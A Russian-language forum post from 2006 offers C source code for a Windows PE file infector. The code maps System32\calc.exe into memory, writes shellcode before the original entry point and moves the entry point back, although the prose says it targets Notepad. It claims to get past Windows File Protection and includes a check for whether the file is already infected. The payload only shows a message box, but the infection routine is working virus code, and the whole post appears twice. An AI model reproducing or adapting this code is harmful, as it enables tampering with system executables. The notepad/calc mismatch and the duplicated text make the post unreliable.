_Great_
25.11.2006, 18:27
Внедряется в блокнот сдвигом назад точки входа и дописыванием перед оригинальной точкой входа своего кода. Инфицированный блокнот вызывает MessageBox и продолжает свою нормальную работу.
Модификация блокнота производится маппингом его в память и редактированием прямо там, Windows File Protection отдыхает.
// Windows headers
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <imagehlp.h>
// Linker options
#pragma comment(linker, "/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text /ALIGN:512")
// Get entry point raw offset
DWORD GetEntryOffset(char* pFileMap)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
int numSections = pNTHeaders->FileHeader.NumberOfSections;
while (numSections > 0)
{
// Find '.text' section
if(!stricmp(pSectionHeader->Name, ".text"))
{
return pNTHeaders->OptionalHeader.AddressOfEntryPoint - pNTHeaders->OptionalHeader.BaseOfCode + pSectionHeader->PointerToRawData;
}
pSectionHeader++;
numSections--;
}
return 0;
}
// Entry
main()
{
HANDLE hFile, hMapping;
DWORD d;
char *mapping, *entry;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
int i;
char code[] =
"\x6a\x00" // PUSH 0
"\x68\x00\x00\x00\x00" // PUSH 0
"\x68\x00\x00\x00\x00" // PUSH 00000000 | NOP
"\x6a\x00" // PUSH 0
"\xe8\x00\x00\x00\x00" // CALL USER32.MessageBoxA /*address will be filled on the fly*/
"\xeb\x08" // JMP $+8
"I'm GHV" /*\x00*/; // string "I'm GHV"
char exe[1024];
// Get windows directory & create file path
GetWindowsDirectory(exe,sizeof(exe)-1);
strcat(exe, "\\System32\\calc.exe");
// Open & map file
hFile = CreateFile(exe, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if(hFile!=INVALID_HANDLE_VALUE)
{
d = GetFileSize(hFile, 0);
hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
mapping = MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
dos = (PIMAGE_DOS_HEADER)mapping;
nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
// Calculate 'MessageBoxA' address
d = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA");
entry = (char*)GetEntryOffset(mapping);
// Store address
for(i=0;i<sizeof(code);i++)
if(*(DWORD*)&(code[i]) == 0x000000e8)
break;
*(DWORD*)(code+i+1) = d - (DWORD)(nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase);
// Find address of "I'm GHV"
for(i=0;i<sizeof(code);i++)
if(*(WORD*)&(code[i]) == 0x2749 /*"I'"*/)
break;
d = (nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase) - sizeof(code) + i;
// Store address in PUSH command
for(i=0;i<sizeof(code);i++)
if(*(DWORD*)&(code[i]) == 0x00000068)
break;
*(DWORD*)(code+i+1) = d;
*(DWORD*)(code+i+6) = d;
// if first command is 6A 00 (push 0), file is already infected
if(*(WORD*)(mapping+(DWORD)entry) != 0x006a)
{
// Infect file
memcpy(mapping+(DWORD)entry-sizeof(code), code, sizeof(code));
nt->OptionalHeader.AddressOfEntryPoint -= sizeof(code);
}
else // already infected
MessageBox(0, "Already infected", 0, 0);
// Unmap & close file
UnmapViewOfFile(mapping);
CloseHandle(hMapping);
CloseHandle(hFile);
}
else
MessageBox(0, "Not found", 0, 0);
}
Модификация блокнота производится маппингом его в память и редактированием прямо там, Windows File Protection отдыхает.
// Windows headers
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <imagehlp.h>
// Linker options
#pragma comment(linker, "/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text /ALIGN:512")
// Get entry point raw offset
DWORD GetEntryOffset(char* pFileMap)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
int numSections = pNTHeaders->FileHeader.NumberOfSections;
while (numSections > 0)
{
// Find '.text' section
if(!stricmp(pSectionHeader->Name, ".text"))
{
return pNTHeaders->OptionalHeader.AddressOfEntryPoint - pNTHeaders->OptionalHeader.BaseOfCode + pSectionHeader->PointerToRawData;
}
pSectionHeader++;
numSections--;
}
return 0;
}
// Entry
main()
{
HANDLE hFile, hMapping;
DWORD d;
char *mapping, *entry;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
int i;
char code[] =
"\x6a\x00" // PUSH 0
"\x68\x00\x00\x00\x00" // PUSH 0
"\x68\x00\x00\x00\x00" // PUSH 00000000 | NOP
"\x6a\x00" // PUSH 0
"\xe8\x00\x00\x00\x00" // CALL USER32.MessageBoxA /*address will be filled on the fly*/
"\xeb\x08" // JMP $+8
"I'm GHV" /*\x00*/; // string "I'm GHV"
char exe[1024];
// Get windows directory & create file path
GetWindowsDirectory(exe,sizeof(exe)-1);
strcat(exe, "\\System32\\calc.exe");
// Open & map file
hFile = CreateFile(exe, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if(hFile!=INVALID_HANDLE_VALUE)
{
d = GetFileSize(hFile, 0);
hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
mapping = MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
dos = (PIMAGE_DOS_HEADER)mapping;
nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
// Calculate 'MessageBoxA' address
d = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA");
entry = (char*)GetEntryOffset(mapping);
// Store address
for(i=0;i<sizeof(code);i++)
if(*(DWORD*)&(code[i]) == 0x000000e8)
break;
*(DWORD*)(code+i+1) = d - (DWORD)(nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase);
// Find address of "I'm GHV"
for(i=0;i<sizeof(code);i++)
if(*(WORD*)&(code[i]) == 0x2749 /*"I'"*/)
break;
d = (nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase) - sizeof(code) + i;
// Store address in PUSH command
for(i=0;i<sizeof(code);i++)
if(*(DWORD*)&(code[i]) == 0x00000068)
break;
*(DWORD*)(code+i+1) = d;
*(DWORD*)(code+i+6) = d;
// if first command is 6A 00 (push 0), file is already infected
if(*(WORD*)(mapping+(DWORD)entry) != 0x006a)
{
// Infect file
memcpy(mapping+(DWORD)entry-sizeof(code), code, sizeof(code));
nt->OptionalHeader.AddressOfEntryPoint -= sizeof(code);
}
else // already infected
MessageBox(0, "Already infected", 0, 0);
// Unmap & close file
UnmapViewOfFile(mapping);
CloseHandle(hMapping);
CloseHandle(hFile);
}
else
MessageBox(0, "Not found", 0, 0);
}